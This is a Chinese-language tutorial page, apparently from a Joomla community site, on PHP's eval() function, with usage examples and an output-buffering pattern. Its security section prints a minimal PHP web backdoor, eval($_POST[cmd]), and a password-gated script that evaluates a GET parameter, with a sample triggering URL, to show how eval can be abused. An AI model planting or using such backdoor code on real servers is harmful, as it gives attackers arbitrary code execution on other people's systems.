PHP中的eval函数是一个是否有用的函数,该函数功能十分强大。它的强大之处在于他可以将字符串当做php代码来执行。同样,也由于这个问 题,eval函数也经常被黑客使用。在Joomla核心代码中经常出现这个

函数,因此,在本节中,我们将详细的讨论一下这个函数的使用。

 eval函数的定义和用法


功能

eval()函数把字符串按照PHP代码来计算。该字符串必须是合法的PHP代码,并且必须以分号结尾。总这,你要保证php代码能够解析他,就像你在php文件中使用一样。

语法

eval($strCode)

返回值

如果没有在代码中调用return语句,则返回NULL,如果代码中存在解析错误,则eval()函数返回false.

代码示范:


示范代码(eval的基本使用)

<?php
	$strTest="ZMAX99";
	$strCode ="\$strTest='Hello World';echo \$strTest;";
	$result = eval($strCode);	
echo $strTest;
?>
 输出的结果:Hello WorldHello World

说明:上面首先给$strTest变量进行赋值,然后在$strCode中对该变量进行重新赋值.最后调用eval来执行。程序输出两次Hello World。一次是eval执行输出的。一次是正常的echo输出的。

通过上面的代码,我们可以发现要在$strCode中使用变量,我们需要对 $进行转义。另外,强调一下$strcode中的两个分号,这个是必须的。PHP代码需要由分号指明结束。

需要说明一点的是,$strTest的值在eval中被改变了。如果在$strCode中定义的变量,那个变量的生命期为php程序的结束!

控制eval的输出


eval函数对存储在数据库文本字段中供日后计算的文本域很有用。

当$strCode中的代码不能被PHP解析的时候,系统会停止执行。这是十分不友好的。那么我们该如何对该函数的输出进行控制呢?为了防止程序直接将结果输出到浏览器,可以使用输出控制函数来捕获此函数的输出,并且把他们保存到一个字符串类型的变量中。下面提供一段实例代码:

<?php
	// eval  执行一段php代码
	$strTest="My Test";
	$strCode ="\$strTest='Hello World';echo \$strTest";

	// Append a return true to  php-code to check on errors
	
	// Send any output to buffer
	ob_start();
	
	//Do eval()
	$check = eval($strCode);
	
	$output = ob_get_contents();
	ob_end_clean();
	
	//Send output or report errors
	
	if($check === false)
	{
		echo "解析错误!";
		echo $output;
	}
	else
	{
		//Manually parse output for errors and  generate usable information for the user_error
		//especially content  of error-lines
		echo "解析ok!";
		echo $output."<br/>";
	}
	
?>

 通过对eval的执行结果进行判断,然后我们来决定是否输出。

关于eval函数的安全问题


eval命令来源于linux bash shell中的eval命令。如果被换人掌握了,可以把eval命令用于PHP的后门程序。如下:

eval($_POST[cmd])

这段代码可以执行用户提交的任何cmd命令。

下面代码是一个小型的PHP后门程序

<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>

 只需要在浏览器中访问下面的地址http://url/test.php?pwd=admin&action=eval&a=phpinfo();你的服务器的php配置信息就暴露无遗了。

如何禁用eval函数


PHP的eval函数并不是系统组件函数,因此我们在php.ini中使用disable_functions是无法禁止它的。那么如何禁用呢?普通的方法没办法做到,只有安装插件。当然,在一些cms中是依赖eval的,比喻joomla系统,如果你禁用了eval函数,那么系统根本不能运行。

 

 



收藏
0个人 收藏

关注Joomla中国微信公众号,随时获得最新的Joomla新闻资讯!